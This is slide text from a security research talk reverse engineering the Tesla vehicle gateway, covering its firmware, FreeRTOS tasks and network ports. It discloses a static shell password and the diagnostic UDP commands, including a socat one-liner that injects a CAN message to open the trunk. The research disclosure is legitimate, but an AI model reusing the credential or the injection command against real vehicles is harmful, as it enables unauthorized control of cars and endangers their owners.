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Agenda



• Vehicle Gateway is an MCU which manages data 
communication between different CAN channels. 

• In the Tesla Car, it also acts as an interface between Ethernet 
and CANBus to transfer/filter messages that are passed from 
the Infotainment System to the internal CANBus network.

• Samples of Vehicle Gateway

• Jeep Cherokees(NEC V850)

• Tesla Motors(Freescale MPC5668G)

• Chinese Domestic Automakers(NEC 78K0R)

Vehicle Gateway



Vehicle Gateway of Tesla
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http://www.nxp.com/products/microcontrollers-and-processors/power-
architecture-processors/mpc5xxx-5xxx-32-bit-mcus/mpc56xx-
mcus/ultra-reliable-mpc5668g-mcu-for-automotive-industrial-gateway-
applications:MPC5668G

Gateway Hardware

http://www.nxp.com/products/microcontrollers-and-processors/power-architecture-processors/mpc5xxx-5xxx-32-bit-mcus/mpc56xx-mcus/ultra-reliable-mpc5668g-mcu-for-automotive-industrial-gateway-applications:MPC5668G


Tesla Gateway: Hardware and Firmware



Tesla Gateway: Hardware and Firmware



Tesla Gateway: Hardware and Firmware
Address

Region Name Tesla Specifics
Start End

0x00000000 0x00020000 FLASH

Bootloader

and

Internal Files

0x00020000 0x001FFFFF FLASH2
CODE Region

DATA Region

0x40000000 0x400FFFFF SRAM

Updater System

when in 

Programming Mode



Register Memory Map

http://cache.nxp.com/files/32bit/doc/ref_manual/MPC5668xRM.pdf ,Appendix A - Memory Map, Page 1242

http://cache.nxp.com/files/32bit/doc/ref_manual/MPC5668xRM.pdf


FreeRTOS

“Tmr Svc” is the key to locate FreeRTOS.



•Tasks
• A task consists of codes, states of which are controlled by 

FreeRTOS.

•Queues
• Queues are the primary form of inter-task communications. 

They can be used to send messages between tasks, and 
between interrupts and tasks.

•etc.

FreeRTOS Overview

http://www.freertos.org/RTOS.html



FreeRTOS Overview

portBASE_TYPE xTaskCreate(

pdTASK_CODE pvTaskCode,

const char * const pcName,

unsigned short usStackDepth,

void *pvParameters,

unsigned portBASE_TYPE uxPriority,

xTaskHandle *pvCreatedTask);

• pvTaskCode Pointer to the task entry function.

• pcName A descriptive name for the task.

• usStackDepth The size of the task stack specified as the 
number of variables the stack can hold - not the number of 
bytes.

• pvParameters Pointer that will be used as the parameter for 
the task being created.

• uxPriority The priority at which the task should run.

• pvCreatedTask Used to pass back a handle by which the created 
task can be referenced.



•Queue

FreeRTOS uses its queue for communication between and within 
tasks, and also uses its queue to implement semaphore and mutex.

FreeRTOS Overview



FreeRTOS on Tesla Gateway
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•Successfully identified 
• socket listen send recv sendto recvfrom etc.

• fopen fread fwrite fclose etc.

•To be decided 
• TCP/IP stack

• http://savannah.nongnu.org/projects/lwip/

• File system
• http://elm-chan.org/fsw/ff/00index_e.html

TCP/IP stack and File system

http://savannah.nongnu.org/projects/lwip/
http://elm-chan.org/fsw/ff/00index_e.html


• String: Alignment

IDAPython Processing



• Function: Prologue and Epilogue

IDAPython Processing



• Function Table

IDAPython Processing



IDAPython Processing
#!/usr/bin/env python

import idautils

def flash_ram_memcpy(frmea, toea, count, itemsize):

datalist = idautils.GetDataList(frmea, count, itemsize)

idautils.PutDataList(toea, datalist, itemsize)

flash_ram_memcpy(0x10C004, 0x4004B4F0, 

(0x40065064-0x4004B4F0)/4, 4)



•TCP
•23 Shell Port

•1050 File Transfer Port

•UDP
•3500 Diagnostic Port

•21000

•38001

Ports in Gateway



• Created by Task shellTask

• Enable shell

Shell Port tcp:192.168.90.102:23



• Shell Password

• Static Password：1q3e5t7u

Shell Port tcp:192.168.90.102:23



• Login Success

Shell Port tcp:192.168.90.102:23



• Command: tegra

Shell Port tcp:192.168.90.102:23



• Command: status

Shell Port tcp:192.168.90.102:23



• Command: stackinfo

Shell Port tcp:192.168.90.102:23



• Created by Task xferTask

• A Perl script: gwxfer

File Transfer Port tcp:192.168.90.102:1050



• xferTask()

Shell Port tcp:192.168.90.102:23



• /firmware.rc

• Locate at:

memory address

0x18000

File Transfer Port tcp:192.168.90.102:1050



• /internal.dat

• Locate at:

memory address

0x1C000

File Transfer Port tcp:192.168.90.102:1050



• fopen()

File Transfer Port tcp:192.168.90.102:1050



• Created by Task diagTask

• CID sends：
• 1 byte command ID, and 0~28 bytes parameters

• Gateway returns：
• 1 byte command ID, and N bytes results

Diagnostics Port udp:192.168.90.102:3500



• Functions Table:

Diagnostics Port udp:192.168.90.102:3500



• Reboot Gateway

SIU_SRCR = 0x80000000;

Nothing returns to CID

• CID sends：
"00"

• Test command：

0x0 REBOOT



• Get APP version infomation

New gateway always returns： "01 FF FF FF"

• Get Bootloader Version infomation

0x1 APP_VERSION

0x5 BL_VERSION



• Update gateway

• CID sends：

0x8 REBOOT_FOR_UPDATE

00000000  08 6e 6f 62 6f 6f 74 2e  69 6d 67                 |.noboot.img|
0000000b



• Reboot CID

• CID sends：

• "09 00": set gpio=0，Normal reboot

• "09 01": set gpio=1，Recovery mode

0x9 RESET_TEGRA



• Clear log files

• When CID sent strings "1AY&" as command parameter：

1. Put 0xA into a Queue
2. When Task logEmptyQueueTask got 0xA from this Queue, it will delete：

/log/0.log、/log/1.log、/log/2.log、/log/3.log、/log/4.log
/log/offsets.txt
/log/offsets.new

3. Reboot

0xE CLEAR_LOG

00000000  0e 31 41 59 26                                    |.1AY&|

00000005



• Enable shell interactive within 30 seconds.

• CID sends：
"12 01" :

g_shell_timer=get_current_time();

• Time check in shellTask

timer_check(&g_shell_timer, 30000)

0x12 ENABLE_SHELL



0x04 INJECT_CAN



struct Diag_CAN_Msg { 

CHAR diag_id; // INJECT_CAN==0x04 

CHAR channel; // CAN Channel ID,{0-6} 

WORD can_id; // CAN Msg ID

DWORD msg1; // Messages

DWORD msg2; };

#!/bin/sh

printf "\x04\x01\x02\x48\x04\x00\x00\x04\x00\xFF\xFF\x00" | socat - udp:gw:3500

0x04 INJECT_CAN: Open the Trunk



Gateway Patching



Demo



• IC/CID Vulnerabilities Exploiting

• CANBus/UDS Security Research

• ECUs Updating Procedures

• ECUs Reverse Engineering

• etc.

More



Thank you!

Please feel free to contact us if 
you have any questions.

snie@tencent.com

dlingliu@tencent.com

mailto:snie@tencent.com
mailto:dlingliu@tencent.com

